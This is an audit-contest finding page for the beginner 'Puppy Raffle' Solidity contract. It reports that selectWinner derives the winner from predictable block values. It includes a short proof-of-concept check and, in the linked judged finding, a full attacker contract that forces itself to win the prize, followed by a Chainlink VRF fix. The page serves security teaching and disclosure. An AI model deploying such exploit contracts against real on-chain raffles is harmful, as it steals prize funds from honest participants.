Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

selectWinner derives the winner from predictable on-chain values (msg.sender, block.timestamp, block.difficulty), so the winner can be precomputed and forced

sub99

Predictable randomness in selectWinner lets anyone choose the winner

Description

PuppyRaffle::selectWinner (src/PuppyRaffle.sol:128-129) derives the winner from keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)), all of which are known or controllable at call time. Any caller can precompute the result off-chain and only broadcast the transaction when they (or an address they control) win; a validator can additionally bias block.timestamp / block.difficulty.

uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; // @> all inputs known/controllable

Risk

Likelihood:

High. The winner is fully determined by inputs the caller already knows. An attacker simply loops over candidate msg.sender values (or waits for a favorable block) and submits only when the formula resolves to their index, requiring no special access.

Impact:

High. The raffle's core fairness guarantee is broken: the prize pool (80% of all entrance fees) and the puppy NFT are effectively guaranteed to the attacker, so honest entrants can never win. This is a direct theft of the prize.

Proof of Concept

An attacker contract computes winnerIndex with the same formula and calls selectWinner only when it points to itself.

function rigged(PuppyRaffle r, uint256 n) public view returns (bool) {
uint256 idx = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % n;
return r.players(idx) == address(this); // @> only call selectWinner when true
}

Recommended Mitigation

Replace on-chain pseudo-randomness with a verifiable source such as Chainlink VRF, or a commit-reveal scheme.

- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // request randomness from Chainlink VRF and use the verified value in the fulfillment callback
+ uint256 winnerIndex = vrfRandomWord % players.length;
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!